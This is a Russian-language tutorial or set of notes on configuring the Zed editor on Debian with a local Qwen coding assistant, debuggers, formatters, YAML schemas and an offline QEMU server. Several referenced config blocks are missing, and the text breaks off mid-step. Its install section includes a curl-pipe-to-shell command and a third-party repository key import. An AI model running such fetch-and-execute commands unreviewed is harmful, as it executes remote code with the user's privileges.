Заменит неэффективное копирование строк на работу с указателями.
Покажет, в каких ветках условий if/else вы забыли освободить динамическую память.


оптимизация кода
2. Оптимизация на Python:
Профилирование и алгоритмы
В Python оптимизация часто сводится к выбору правильных структур данных (например, замена списков на множества set для быстрого поиска) или к переносу тяжелых вычислений в эффективные библиотеки.
Эффективный промпт для оптимизации:
Откройте нужный .py файл, вызовите ассистента и введите:

«Этот алгоритм на Python работает слишком медленно на больших массивах данных.
Проведи рефакторинг: уменьши алгоритмическую сложность (например, с O(N²) до O(N log N)), избавься от лишних аллокаций памяти и предложи встроенные инструменты профилирования (cProfile), чтобы я мог замерить скорость выполнения.»

Локальная модель Qwen 2.5 Coder не просто перепишет код, но и добавит в ваш файл декоратор для замера времени выполнения (Time Profiler), чтобы вы наглядно увидели прирост скорости в терминале Zed по нажатию Super + Z.

3. Оптимизация на Bash:
Безопасность и параллелизмПлохо оптимизированные Bash-скрипты могут сильно нагружать диск ввода-вывода (I/O) или работать последовательно там, где можно запустить параллельные процессы.
С чем поможет ИИ:
Параллельная обработка:
ИИ может переписать ваш Bash-скрипт так, чтобы он обрабатывал файлы или отправлял запросы параллельно, используя встроенную утилиту xargs -P или фоновые процессы & с контролем лимита задач (wait).
Оптимизация чтения файлов: Заменит медленные циклы while read, которые вызывают внешние утилиты на каждой итерации, на эффективную потоковую обработку через единый вызов встроенных механизмов Bash.

Лайфхак Zed:
Быстрое исправление предупреждений компилятора
Когда вы запускаете сборку вашего Си-проекта через универсальный Makefile (нажав Ctrl + B), компилятор gcc благодаря флагам -Wall -Wextra выводит в терминал предупреждения (Warnings) с указанием номеров строк.
Вы можете моментально скормить эти ошибки ИИ-агенту с помощью специальной слеш-команды в чате:
Откройте панель ассистента (Ctrl + \).
Введите команду /diagnostics и нажмите Пробел.
Zed автоматически прикрепит к вашему запросу все текущие ошибки и предупреждения из терминала.
Допишите: «Исправь эти предупреждения компилятора в моем коде» и нажмите Enter.

Агент сам найдет проблемные файлы, исправит типы данных (например, заменит int на size_t для счетчиков циклов) и приведет код в идеальное состояние.

Отладка и обработка ошибок в Zed на Linux выстроена вокруг концепции интеграции системных инструментов во встроенный терминал и использования локального ИИ-агента.
Поскольку Zed — это легковесный нативный редактор (а не тяжелая IDE), утилиты вроде gdb, strace и pdb запускаются прямо внутри него, но с максимальным удобством.

отладка в редакторе
Отладка и обработка ошибок в Zed на Linux выстроена вокруг концепции интеграции системных инструментов во встроенный терминал и использования локального ИИ-агента.
Поскольку Zed — это легковесный нативный редактор (а не тяжелая IDE), утилиты вроде gdb, strace и pdb запускаются прямо внутри него, но с максимальным удобством.

1. Работа с gdb (для Си) прямо в интерфейсе Zed
Вместо того чтобы переключаться в отдельное окно консоли, вы можете запустить gdb во встроенном терминале Zed (Ctrl + ~), который откроется снизу вашей рабочей области.
Как сделать отладку в gdb удобной:
Скомпилируйте код с флагами отладки: В нашем универсальном Makefile временно замените флаг -O2 на -g (он добавляет в бинарник отладочные символы, информацию о строках и переменных).
Нажмите Ctrl + B для сборки.
Запустите TUI-режим GDB: В терминале Zed введите:

gdb -tui ./my_program

Флаг -tui (Text User Interface) разделит терминал Zed на две части: сверху появится красивое интерактивное окно с вашим Си-кодом,
а снизу — стандартная строка команд GDB. Вы сможете наглядно видеть, на какой строке стоит брейкпоинт.

Основные команды управления внутри терминала:

b main или b folder/file.c:42 — поставить точку останова.
r — запустить программу.
n (next) — шаг вперед без захода в функции.
s (step) — шаг с заходом внутрь функции.
p variable_name — напечатать значение переменной (указателя, структуры).

2. Использование strace для поиска системных ошибок
strace незаменим, когда программа на Си или Python внезапно падает из-за проблем с окружением Debian (не находит файл библиотеки, сыпет ошибками сегментации SIGSEGV при обращении к диску или сети).
Запустите strace прямо в терминале Zed, отфильтровав вывод, чтобы не утонуть в логах:

# Ищем только системные вызовы работы с файлами (open, read, write)
strace -e trace=file ./my_program

Магия интеграции с ИИ-агентом Zed:
Если strace выдал системную ошибку, которую трудно расшифровать (например, хитрый сбой ioctl или mmap),
вы можете мгновенно скопировать этот кусок лога из терминала, нажать Ctrl + \ и спросить у локальной модели Qwen 2.5 Coder:

«Программа на Си падает. Вот финальный вывод утилиты strace: [вставить лог]. В каком системном вызове произошел сбой и как мне исправить это в коде?»

3. Отладка Python через pdb (или современный breakpoint())
В современных версиях Python (начиная с 3.7+) встроен продвинутый механизм отладки. Вам больше не нужно импортировать import pdb; pdb.set_trace().
В коде вашего Python-приложения вставьте в нужное место одну встроенную функцию:

breakpoint()

Запустите файл через наш хоткей Super + Z.
Программа выполнится, плавно дойдет до этой строки и замрет, передав управление интерактивной консоли отладчика прямо во встроенный терминал Zed.
Вы сможете писать стандартные команды:

ll (показать весь код вокруг),
p имя_переменной (вывести значение),
c (продолжить выполнение).

4. Автоматическая обработка ошибок (Исключений) в коде
Чтобы минимизировать использование отладчиков, локальный ИИ-агент поможет вам написать правильные блоки перехвата исключений, которые не дадут программе упасть.
Выделите функцию и попросите ИИ через Ctrl + \:

В Python:
«Оберни этот блок работы с сетью/файлом в try-except с перехватом конкретных ошибок (FileNotFoundError, PermissionError) и правильным логированием через модуль logging.»

В Си:
«Добавь проверку на NULL для всех возвращаемых значений функций malloc и fopen в этом блоке кода, чтобы защитить программу от Segmentation Fault.»




настройка редактора Zed, часть 1 LJ
настройка редактора Zed, часть 1 DW

настройка редактора Zed, часть 3 LJ
настройка редактора Zed, часть 3 DW

ознакомится
настройка редактора
Чтобы открыть глобальные настройки в Zed на Linux, используется стандартное сочетание клавиш:
Ctrl + , (контрол и запятая)
Это сочетание откроет файл настроек settings.json

Альтернативный способ через меню (без клавиатуры):
Нажмите на иконку шестеренки ⚙️ в самом левом нижнем углу окна Zed.
В появившемся меню выберите Settings

настроить тему оформления, похожую на Sublime,
https://zed.dev/docs/appearance

Шаг 1. Установите тему оформления
В Zed все темы, которых нет «из коробки», устанавливаются как расширения.
Нажмите Ctrl + Shift + P, чтобы открыть командную панель.
Введите zed: extensions и нажмите Enter. Откроется вкладка со всеми доступными плагинами.
В строке поиска введите Soda (или Seti, если хотите оригинальную цветовую схему).
Нажмите кнопку Install рядом с найденной темой.

Шаг 2. Включите тему и иконки Seti
После установки расширения его нужно активировать.
Для выбора темы: Нажмите сочетание клавиш Ctrl + K, затем Ctrl + T. Появится список всех установленных тем. Стрелочками выберите установленную Soda Dark или Seti и нажмите Enter.
Для выбора фирменных иконок Seti:
Нажмите Ctrl + Shift + P, введите команду Icon Theme Selector: Toggle и выберите тему иконок Seti Icons, чтобы папки и файлы в левой панели выглядели в точности как в вашем Sublime

Альтернативный способ (Через настройки JSON)
Если вы любите всё контролировать через код, откройте глобальные настройки редактора нажатием Ctrl + , (откроется файл settings.json) и пропишите активацию темы прямо туда:



(Вместо "Soda Dark" укажите точное название темы из установленного вами расширения, например "Seti" или "Monokai Seti", если выбрали её).
https://github.com/tushortz/PackageControlPackages/blob/master/README.md

мультикурсоры и запуск Python
Шаг 1. Перенос хоткеев для мультикурсоров
Внутри редактора нажмите Ctrl + K, затем Ctrl + S (или выберите в меню Zed ➔ Open Keymap) и добавьте блок для множественных курсоров внутрь контекста "Editor".
или полностью сотрите там всё и вставьте наш готовый конфиг, объединяющий ваши хоткеи из Sublime:




Шаг 2. Перенос запуска Python (команда "super+z")
В отличие от Sublime, где всё пишется в один файл, в Zed сначала создается Задача (Task), а затем на неё вешается хоткей. Это позволяет гибко управлять путями и переменными окружения.
1. Создайте задачу:
В меню выберите Zed ➔ Open Tasks (или откройте файл ~/.config/zed/tasks.json). Напишите там конфигурацию с вашими переменными и путями:



(Переменная $ZED_FILE автоматически подставит абсолютный путь к текущему открытому файлу).

2. Привяжите хоткей к этой задаче:
Снова вернитесь в ваш файл keymap.json и добавьте вызов этой задачи на кнопку super-z.
Финальный итоговый файл keymap.json должен выглядеть так:



Как перенести вообще все хоткеи из Sublime?
официальная раскладка из Sublime Text
Нажмите Ctrl + , (откроются настройки settings.json).
Добавьте туда одну строчку:
"base_keymap": "SublimeText"

3. Сохраните задачу для Python
Нажмите Ctrl + Shift + P, введите в поиске Open Tasks и нажмите Enter (либо откройте файл ~/.config/zed/tasks.json вручную).
Вставьте туда код для запуска скриптов:





автоматическое выравнивание текста
для включения автоматического выравнивания текста (форматирования) при каждом сохранении файла нужно добавить всего две строки в ваш файл настроек settings.json.
Нажмите Ctrl + , чтобы открыть конфигурационный файл, и добавьте туда следующий блок параметров:




Как это работает для разных языков?
После сохранения этих настроек Zed начнет автоматически выравнивать отступы при нажатии Ctrl + S, используя установленные в системе инструменты:
Для Python:
Zed автоматически вызовет плагин (например, Ruff или Pyright), который мгновенно приведет код к стандарту PEP 8.
Для Bash: Ничего дополнительно настраивать не нужно. Расширение Bash в Zed само выровняет синтаксис скрипта.
Для C (Си): Редактор будет искать в системе стандартную системную утилиту clang-format.

использование clang-format
clang-format
Базовые команды терминала
Вывод отформатированного кода в терминал:
clang-format main.cpp

Форматирование файла «на месте» (с перезаписью):
clang-format -i main.cpp

Использование конкретного встроенного стиля:
clang-format -style=Google -i main.cpp

Создание дефолтного файла конфигурации:
clang-format -style=LLVM -dump-config > .clang-format

Проверка стиля без изменения файлов (для CI/CD):
clang-format --dry-run --Werror main.cpp

clang-format -style=LLVM -i main.c

Пример файла конфигурации .clang-format
Если в корне проекта лежит файл .clang-format, утилита автоматически подтянет его при вызове с флагом -style=file. Пример базовой настройки:
BasedOnStyle: LLVM
IndentWidth: 4
ColumnLimit: 100
AllowShortFunctionsOnASingleLine: None
SortIncludes: true


Важное примечание для языка Си (Debian 13)
Чтобы автоматическое форматирование заработало для файлов .c и .h, в вашей системе Debian должен быть установлен сам форматировщик.
Установите его одной командой в терминале:
sudo apt update && sudo apt install clang-format -y

После этого при написании Си-кода вы можете ставить любые хаотичные пробелы и отступы — при нажатии Ctrl + S редактор Zed мгновенно выровняет весь код по строгому профессиональному стандарту.

Как включить выбранный стиль (например, LLVM) в Zed?
Отступы в 2 или 4 пробела, фигурные скобки открываются на той же строке.
Параметр IndentWidth: 4 сделает отступы в 4 пробела вместо стандартных двух, что привычнее после Python
Достаточно один раз создать в корне вашего проекта текстовый файл с именем .clang-format и написать туда:
BasedOnStyle: LLVM
IndentWidth: 4

1. Стиль Google (Максимально компактный)
Фигурные скобки всегда открываются на той же строке. Отступы небольшие, код получается очень плотным, что удобно для небольших экранов ноутбуков.
BasedOnStyle: Google
IndentWidth: 4
ColumnLimit: 100
AllowShortBlocksOnASingleLine: true
KeepEmptyLinesAtTheStartOfBlocks: false

2. Стиль Linux Kernel (Официальный системный)
Классический стиль для низкоуровневой разработки.
Главное отличие — использование жестких табуляций (Tabs) вместо пробелов и перенос открывающей фигурной скобки функций на новую строку.
BasedOnStyle: Linux
UseTab: Always
IndentWidth: 8
TabWidth: 8
BreakBeforeBraces: Linux
AllowShortIfStatementsOnASingleLine: false

3. Стиль GNU (Академический / Просторный)
Редко используется в коммерческой разработке, но часто встречается в старых утилитах Linux и университетских проектах.
Скобки смещаются внутрь, из-за чего код занимает много места по вертикали.
BasedOnStyle: GNU
IndentWidth: 4
BreakBeforeBraces: GNU
SpacesInParentheses: true

4. Стиль Microsoft / WebKit (Похож на C# и Java)
Фигурные скобки всегда переносятся на новую строку (стиль Allman). Код выглядит очень аккуратно и "разреженно".
BasedOnStyle: Microsoft
IndentWidth: 4
BreakBeforeBraces: Allman
AllowShortFunctionsOnASingleLine: None

Лайфхак для Zed (settings.json)
Если вы не хотите создавать файл .clang-format в каждом новом проекте, вы можете жестко прописать дефолтный стиль (например, LLVM) прямо в глобальные настройки Zed для всех Си-файлов.
Откройте settings.json (Ctrl + ,) и добавьте это в конец:



Вместо LLVM в строке "arguments" можно вписать Google, Chromium, Mozilla, WebKit или GNU).

сложное форматирование
Для автоматического выравнивания файлов HTML, CSS, JavaScript, JSON, YAML и Markdown мировым стандартом является утилита Prettier.
В отличие от языка Си, где используется clang-format, для веб-технологий и конфигурационных файлов веб-индустрия выбрала Prettier.
Он работает по принципу «минимальных настроек» — сам расставляет правильные отступы, кавычки, переносы строк и точки с запятой.

Шаг 1. Установите Prettier в систему
Так как Prettier написан на JavaScript, для его глобальной установки вам понадобятся менеджер пакетов npm и платформа Node.js.
Выполните в терминале:

# 1. Устанавливаем Node.js и npm из репозиториев Debian
sudo apt update && sudo apt install nodejs npm -y

# 2. Устанавливаем Prettier глобально в систему
sudo npm install -g prettier


Шаг 2. Пропишите форматировщик в настройки Zed
Откройте ваши глобальные настройки settings.json (нажав Ctrl + ,) и укажите редактору использовать Prettier для нужных языков.



Как это будет работать?
Теперь, когда вы будете открывать, например, запутанный и нечитаемый файл keymap.json или tasks.json самого редактора Zed, при обычном сохранении (Ctrl + S)
внешняя утилита Prettier мгновенно превратит его в идеально отформатированный и красивый JSON-код.

Чтобы настроить удобную работу с веб-интерфейсами (HTML-шаблонами Jinja2, Django, FastAPI) прямо внутри ваших Python-проектов, в Zed нужно учесть один важный нюанс.
Стандартный Prettier из коробки не всегда понимает специфический Python-синтаксис внутри HTML (например, конструкции вида {% if user.is_authenticated %} или ).
Без специального плагина он может выдать ошибку или испортить разметку.

Шаг 1. Доустановите плагин разметки для Prettier
В терминале установите официальный плагин prettier-plugin-jinja-template, который научит Prettier правильно читать фигурные скобки веб-интерфейсов Python:
sudo npm install -g prettier-plugin-jinja-template

Шаг 2. Добавьте поддержку шаблонов в настройки Zed
Откройте глобальные настройки settings.json (Ctrl + ,) и укажите, что для HTML-файлов Python-проектов нужно использовать установленный плагин.
Добавьте (или обновите) блок "HTML" в секции "languages":



Шаг 3. Включите подсветку синтаксиса для Jinja/Django
По умолчанию Zed может воспринимать файлы .html как обычный статичный веб-сайт, из-за чего теги Python внутри HTML будут отображаться серым монотонным текстом.
Чтобы включить красивую умную подсветку:
Нажмите Ctrl + Shift + P (Командная панель).
Введите zed: extensions и нажмите Enter.
В поиске расширений введите Jinja или Django HTML.
Нажмите Install рядом с расширением (например, Jinja Templates).
Теперь редактор начнет понимать веб-интерфейсы «двойным зрением»:
он будет подсвечивать стандартные HTML-теги, правильно подсвечивать логику Python внутри них,
а при нажатии Ctrl + S утилита Prettier аккуратно выровняет всю структуру страницы, не ломая код шаблонизатора.



Для работы с фреймворком Bootstrap в редакторе Zed на Linux доступны два мощных инструмента автоматизации, которые делают верстку веб-интерфейсов невероятно быстрой:
Emmet (встроен по умолчанию) и официальное расширение для автодополнения классов Bootstrap.

1. Автодополнение CSS-классов Bootstrap (Расширение)
Поскольку Bootstrap состоит из сотен готовых классов (например, container, row, col-md-6, d-flex, btn-primary), запомнить их все наизусть сложно. Специальное расширение добавляет их в выпадающие подсказки при вводе.
Откройте менеджер расширений:
нажмите Ctrl + Shift + P, введите zed: extensions и нажмите Enter.
В строке поиска введите Bootstrap (или конкретно Bootstrap IntelliSense / Bootstrap Snippets).
Нажмите кнопку Install.
Как это работает:
Теперь внутри любого HTML-файла или Python-шаблона, как только вы начнете писать внутри тега class="bt...", Zed автоматически откроет список с подсказками всех подходящих классов Bootstrap с кратким описанием их CSS-свойств.

2. Встроенный генератор кода Emmet (Магия верстки)
В Zed по умолчанию встроена поддержка синтаксиса Emmet. Она позволяет не писать HTML-теги вручную, а разворачивать сложные Bootstrap-структуры из одной короткой строчки.
Чтобы развернуть адаптивную сетку Bootstrap, вам достаточно написать в файле сокращение:



После этого просто нажмите клавишу Tab, и Zed мгновенно превратит эту строчку в полноценный валидный HTML-код:



Совет по оптимизации для settings.json

Чтобы Emmet работал безупречно не только в чистых .html файлах, но и внутри специфических Python-шаблонов (например, .jinja, .html.j2 или .cshtml), укажите редактору, что в этих файлах тоже нужно генерировать веб-код.
Откройте настройки Ctrl + , и добавьте туда следующее правило для Emmet:




С этой конфигурацией верстка Bootstrap-интерфейсов для ваших FastAPI или Django приложений будет занимать считанные секунды.

Чтобы форматировщик Prettier в Zed не ломал, не переносил некорректно и не изменял пути к локальным файлам Bootstrap (или CDN-ссылкам) в ваших HTML-шаблонах, нужно соблюдать несколько простых правил синтаксиса и структуры.Вот как правильно прописывать пути и настраивать файлы, чтобы избежать проблем:

1. Правильный синтаксис путей в HTML
Prettier очень строг к кавычкам и пробелам. Всегда оборачивайте атрибуты href и src в двойные кавычки, а сами пути пишите без лишних пробелов внутри кавычек:
Для локальных файлов Bootstrap (когда файлы лежат в папке static вашего Python-проекта):



Для подключения через CDN (удаленный сервер):
При переносе длинных ссылок Prettier может попытаться разбить строку. Чтобы этого не произошло, следите, чтобы у тега не было хаотичных пробелов:



2. Защита Python-путей (Jinja2 / Django)
Если вы подключаете Bootstrap через встроенные теги Python (например, url_for в FastAPI/Flask или static в Django), Prettier может запутаться в фигурных скобках и расставить там неверные переносы строк.
Благодаря плагину prettier-plugin-jinja-template, который мы установили ранее, синтаксис защищен, но писать его нужно строго в одну строку без переносов внутри кавычек:




3. Как полностью запретить Prettier форматировать конкретную ссылку?
Если у вас есть сложная, очень длинная ссылка (например, специфический CDN-скрипт с кучей параметров), и Prettier всё равно упорно пытается перенести её часть на новую строку,
вы можете временно отключить форматирование для этого участка кода с помощью специального HTML-комментария .
Просто добавьте этот комментарий строго на строку выше вашего тега:




4. Настройка длины строки в settings.json
Часто Prettier ломает теги с путями просто потому, что они не влезают в стандартный лимит длины строки (по умолчанию это 80 символов). Для современных мониторов это слишком мало.
Вы можете увеличить этот лимит глобально в настройках Zed, чтобы длинные пути не переносились. Нажмите Ctrl + , и добавьте аргумент --print-width в блок HTML-форматировщика:



(Значение 120 позволит писать длинные пути к Bootstrap в одну строку, и редактор больше не будет принудительно их разбивать).


Для работы с файлами JSON и YAML утилита Prettier также подходит идеально.
Однако, чтобы при сохранении длинные строки или сложные структуры данных в этих конфигурационных файлах не ломались и не переносились некорректно, им тоже полезно задать правильный лимит ширины строки.

Откройте ваши глобальные настройки в Zed через Ctrl + , и дополните секции "JSON" и "YAML" аргументом --print-width (по аналогии с тем, как мы настроили HTML).
Обновленный блок для этих языков в вашем settings.json должен выглядеть так:



Как защитить данные внутри JSON и YAML от форматирования?
Если в ваших JSON или YAML файлах есть специфические строки (например, длинные зашифрованные ключи доступа, токены или огромные тексты), которые Prettier ни в коем случае не должен изменять,
вы можете использовать специальные комментарии для игнорирования:
Внутри файлов YAML:
Используйте комментарий # prettier-ignore строго над той строкой или блоком, который нужно оставить без изменений:

# prettier-ignore
long_api_key: "very_long_secret_token_that_should_not_be_formatted_or_wrapped_to_a_new_line_by_the_editor"

Внутри файлов JSON:
Поскольку стандартный формат JSON не поддерживает обычные комментарии, в нем нельзя отключить форматирование для отдельной строки.
Если вам нужно полностью защитить весь JSON-файл от изменений, проще всего временно отключить автоформатирование для конкретного проекта.
Для этого создайте в корне папки проекта файл .prettierignore и просто впишите туда имя файла:

# Содержимое файла .prettierignore в корне проекта
config_secret.json

Для полноценной валидации, автодополнения и проверки синтаксиса YAML (включая файлы конфигураций Kubernetes, Docker Compose, GitHub Actions и др.) в Zed используется официальное расширение yaml.

Шаг 1. Установите расширение через интерфейс
Нажмите сочетание клавиш Ctrl + Shift + P, чтобы открыть командную панель.
Введите в поиске zed: extensions и нажмите Enter.
В левой панели в строке поиска введите yaml.Найдите официальное расширение, которое называется просто yaml, и нажмите кнопку Install.

Шаг 2. Настройте автодополнение схем в settings.json
Чтобы языковой сервер понимал, какой именно YAML-файл вы редактируете, и подсказывал правильные параметры, откройте глобальные настройки (Ctrl + ,) и добавьте конфигурацию для этого расширения:



Важно для вашего изолированного сервера:
Так как ваш мощный сервер отрезан от интернета, функция автоматического скачивания схем (schemaStore: true) там работать не сможет.
Чтобы валидация YAML работала в изолированной среде:
Скачайте нужный файл схемы (например, для Docker Compose или Kubernetes) в формате .json на компьютер с интернетом.
Перенесите его на сервер через флешку.В настройках Zed на сервере укажите путь к этому файлу локально:



После этого сервер Red Hat YAML будет локально проверять структуру ваших файлов, подсвечивать ошибки отступов и предлагать автодополнение по нажатию Ctrl + Space (Пробел).

Шаг 1. Создаем файл схемы (app-config-schema.json)
Создайте в папке вашего проекта (или в любой локальной папке на сервере) файл с именем app-config-schema.json.
Допустим, ваше Python-приложение принимает на вход настройки базы данных, режим отладки и список разрешенных хостов. Опишем эти правила на языке схем:



Шаг 2. Привязываем схему к вашему YAML-файлу в Zed
Теперь нужно сказать расширению yaml, чтобы оно применяло эту локальную схему ко всем файлам настроек вашего приложения (например, к файлу config.yaml).
Откройте глобальные настройки Zed (Ctrl + ,) и добавьте путь к вашей схеме в секцию schemas:



Как это работает на практике?
Теперь откройте файл config.yaml в Zed. Языковой сервер мгновенно активирует правила:
Защита от опечаток:
Если вы случайно напишете вместо debug: true строку debug: "yes" или забудете указать обязательный параметр port, Zed сразу подчеркнет эту строку красной волнистой линией и выдаст подсказку с ошибкой.
Автодополнение (IntelliSense): Нажмите сочетание клавиш Ctrl + Space (Пробел) в пустом месте файла.
Редактор сам выведет выпадающий список со всеми доступными параметрами (debug, database, allowed_hosts), которые описаны в вашей схеме, избавляя вас от необходимости сверяться с документацией.

Вот пример того, как расширить вашу схему app-config-schema.json, чтобы добавить туда строгую валидацию для перечислений (Enum) и форматов дат.
Это заставит Zed следить за тем, чтобы в конфигурации не было ошибок в названиях режимов или форматах времени.
Откройте созданный файл app-config-schema.json и добавьте новые параметры (например, уровень логирования и дату запуска) в блок "properties":



Как это будет выглядеть в файле config.yaml в Zed:
Для Enum (log_level):
Если вы начнете писать log_level: , а затем нажмете Ctrl + Space (Пробел), Zed выдаст красивый выпадающий список, где можно будет выбрать только между DEBUG, INFO, WARNING, ERROR или CRITICAL.
Если вы введете туда строчными буквами info или сделаете опечатку INFFF, редактор сразу подчеркнет строку красным и напишет: «Value must be one of the enumerated values».
Для форматов дат (release_date и maintenance_window):
Если вы напишете дату в привычном российском формате 13.08.2026, языковой сервер в Zed выдаст ошибку валидации.
Он будет требовать строго международный стандарт, например 2026-08-13.
Это гарантирует, что ваш Python-скрипт позже сможет без ошибок распарсить эту строчку через стандартный метод datetime.date.fromisoformat().

Файл сохраняется автоматически, и новые правила валидации вступят в силу мгновенно.





настройка редактора Zed, часть 2 LJ
настройка редактора Zed, часть 2 DW

настройка редактора Zed, часть 3 LJ
настройка редактора Zed, часть 3 DW

ознакомится
https://github.com/zed-industries/zed
https://zed.dev/docs/linux

zed-linux-x86_64.tar.gz (Локальный редактор) — это полноценная графическая версия редактора Zed для ноутбука,
zed-remote-server-linux-x86_64.gz (Удаленный сервер) — это безграфический серверный движок, предназначенный исключительно для удаленной разработки (Remote Development / SSH)
bwrap-linux-x86_64.gz (песочница для ИИ)

Установка
curl -f https://zed.dev/install.sh | sh

Установка через репозитарий
# Создаем директорию для ключа
sudo install -d -m 0755 /etc/apt/keyrings

# Скачиваем GPG-ключ репозитория
curl -fsSL https://deb.griffo.io/EA0F721D231FDD3A0A17B9AC7808B4DD62C41256.asc | sudo gpg --dearmor --yes -o /etc/apt/keyrings/deb.griffo.io.gpg

# Добавляем репозиторий в источники
echo "deb [signed-by=/etc/apt/keyrings/deb.griffo.io.gpg] https://deb.griffo.io/apt trixie main" | sudo tee /etc/apt/sources.list.d/deb.griffo.io.list

# Обновляем списки и устанавливаем
sudo apt update
sudo apt install -y zed

Начиная с октября 2026 года этот сторонний репозиторий deb.griffo.io для автоматических обновлений может потребовать подписку. Если вы не хотите её использовать, вы всегда можете просто скачать готовый .deb файл с их страницы релизов на GitHub и установить вручную через sudo dpkg -i

ручная установка
zed-linux-x86_64.tar.gz (сам редактор).
bwrap-linux-x86_64.gz (песочница для ИИ)

Шаг 1. Распаковка редактора Zed
Все пользовательские программы в Linux принято ставить в локальную директорию ~/.local.
Создайте структуру папок в своем домашнем каталоге (если их еще нет):
mkdir -p ~/.local/bin ~/.local/libexec ~/.local/share/applications

Перейдите в папку со скачанным архивом и распакуйте его:
tar -xvf zed-linux-x86_64.tar.gz

После распаковки появится папка zed.app. Перенесите её содержимое в вашу локальную систему:
# Переносим бинарный файл запуска
cp zed.app/bin/zed ~/.local/bin/

# Переносим основные ресурсы редактора
cp -r zed.app/share/* ~/.local/share/

Шаг 2. Ручная установка Bubblewrap (bwrap)
Чтобы встроенный ИИ работал корректно и безопасно, Zed ищет утилиту bwrap строго по пути ~/.local/libexec/zed-bwrap.
Распакуйте скачанный файл bwrap-linux-x86_64.gz:
gunzip bwrap-linux-x86_64.gz

Переименуйте его и переместите в системную подпапку Zed:
mv bwrap-linux-x86_64 ~/.local/libexec/zed-bwrap
chmod +x ~/.local/libexec/zed-bwrap

Шаг 3. Интеграция в графическое меню Debian (GNOME/KDE)
Чтобы Zed отображался в списке всех приложений вашей системы и вы могли запускать его кликом мыши, нужно зарегистрировать его ярлык:
Откройте файл ярлыка текстовым редактором:

vim ~/.local/share/applications/zed.desktop

Вставьте туда стандартную конфигурацию ярлыка, указав абсолютный путь к вашему домашнему каталогу (замените имя_пользователя на ваше имя в системе):



Сохраните файл (Ctrl+O, затем Enter) и выйдите (Ctrl+X).

Шаг 4. Добавление в команду терминала
Чтобы вы могли запускать редактор из любого терминала простой командой zed, путь ~/.local/bin должен быть прописан в вашей переменной окружения PATH. В Debian он обычно включен по умолчанию.
zed --version



Удаление
zed --uninstall

zed-linux-x86_64.tar.gz (сам редактор).
bwrap-linux-x86_64.gz (песочница для ИИ)

отключение ИИ
https://zed.dev/docs/ai/quick-start#turning-ai-off-entirely
zed: open settings
найдите Disable AIи включите его

или добавить это в свой файл настроек:
Нажмите Ctrl + , чтобы открыть конфигурационный файл




Для работы Zed в Linux важна поддержка Vulkan
Поскольку редактор рендерит интерфейс через видеокарту, при отсутствии правильных драйверов он может вообще не запуститься (выдав ошибку NoSupportedDeviceFound) или сильно нагружать процессор
sudo apt update
sudo apt install mesa-vulkan-drivers vulkan-tools
и дрова для видеокарты
intel-media-va-driver-non-free
или
nvidia-driver nvidia-vulkan-icd nvidia-container-toolkit

Проверка
vkcube
Если вы видите плавно вращающийся 3D-куб, графическая подсистема готова к работе с Zed.

Особенности Wayland в Debian 13
sudo apt install xwayland
DISABLE_WAYLAND=1 zed

варианты установок
ноут + сервер
АРХИТЕКТУРА СВЯЗКИ
Ноутбук : Графический интерфейс Zed ➔ SSH-туннель.
Сервер (Хост): Изолированный сетевой мост ➔ QEMU.
Виртуалка QEMU (Debian 13): zed-remote-server + Ollama (CPU) [Полный офлайн].

ноутбук отвечает исключительно за отрисовку интерфейса (UI), а сервер берет на себя все тяжелые вычисления, включая компиляцию, работу языковых серверов (LSP) и запуск ИИ-агента.

ШАГ 1. НАСТРОЙКА НА СЕРВЕРЕ (ХОСТ-МАШИНА)
Чтобы изолировать виртуалку, создайте локальный сетевой мост без привязки к физической карте, имеющей интернет:

# 1. Создаем изолированный мост
sudo ip link add br-isolated type bridge
sudo ip link set br-isolated up

# 2. Назначаем мосту локальный IP-адрес хоста
sudo ip addr add 192.168.100.1/24 dev br-isolated

Скрипт запуска виртуалки (run_vm.sh)
Создайте скрипт запуска QEMU на сервере. Он выделяет виртуалке 8 ГБ ОЗУ, 4 ядра CPU и пробрасывает её SSH-порт (22) на порт 2222 сервера.



ШАГ 2. НАСТРОЙКА ВНУТРИ ВИРТУАЛКИ QEMU
Зайдите в виртуалку (пока у неё есть интернет или настроив IP 192.168.100.2), установите зависимости и разверните файлы, перенесенные вручную.

Перенос языкового сервера (LSP) для Python
В обычной ситуации Zed при открытии .py файла пытается автоматически скачать анализатор кода Pyright или Ruff из сети. На изолированном сервере это вызовет ошибку
Поэтому вам нужно заранее перенести интерпретатор Python и сам плагин автодополнения (LSP) на сервер через флешку

Популярные LSP-серверы для Python
Pyright / Basedpyright: строгая проверка типов, быстрое автодополнение, поддержка крупных проектов.
Ruff: сверхбыстрый анализ кода, импортов и ошибок на Rust, заменяющий flake8, isort и black.
Pylyzer: статический анализатор и LSP-сервер на Rust, ориентированный на высокую скорость работы.
Jedi-language-server: классический и легкий сервер на базе библиотеки Jedi, удобный для небольших скриптов

Установите на сервер Python и пакетный менеджер (перенеся их в виде офлайн .deb пакетов или исходников).
Установите языковой сервер, например, Ruff (очень быстрый линтер и автодополнение на Rust) или глобальный Pyright:
pip install ruff --no-index --find-links=/путь/к/флешке/с/wheel-пакетами

Убедитесь, что команда запуска (например, ruff) доступна в глобальном PATH вашего сервера

1. Системные зависимости (Debian 13)

sudo apt update
sudo apt install -y openssh-server python3 gcc build-essential clang-format curl

2. Ручная установка Ollama (CPU) и Zed Server

# Распаковываем предварительно скачанный архив Ollama для Linux
tar -C ~/.local -xzf ollama-linux-amd64.tgz

# Создаем папку для удаленного сервера Zed (замените ВЕРСИЯ на версию вашего клиента)
mkdir -p ~/.zed_server
gunzip zed-remote-server-linux-x86_64.gz
mv zed-remote-server-linux-x86_64 ~/.zed_server/zed-remote-server-ВЕРСИЯ
chmod +x ~/.zed_server/zed-remote-server-ВЕРСИЯ

3. Скачивание модели (Офлайн)
Поскольку интернета внутри ВМ не будет, скачайте модель qwen2.5-coder:7b на машине с интернетом и скопируйте содержимое папки кэша модели (~/.ollama) внутрь виртуалки по тому же пути.

4. Изолированная служба Ollama (~/.config/systemd/user/ollama-isolated.service)
Создайте пользовательскую службу в ВМ, которая запускает Ollama внутри сетевого вакуума (unshare -n):



Включите её:

systemctl --user daemon-reload
systemctl --user enable --now ollama-isolated.service
# Включаем работу службы в фоне без активных сессий
sudo loginctl enable-linger user


Проброс видеокарты в QEMU (VFIO)
Если на сервере стоит карта Nvidia, вы можете принудительно «отдать» её внутрь виртуальной машины. Хост-система (сервер) полностью перестанет её видеть, а виртуалка получит к ней прямой нативный доступ.
ИИ начнет генерировать код со скоростью 50–80 слов в секунду.

Шаг 1. Включите виртуализацию в ядре сервера
Откройте конфигурацию загрузчика Grub на самом сервере:
sudo nano /etc/default/grub

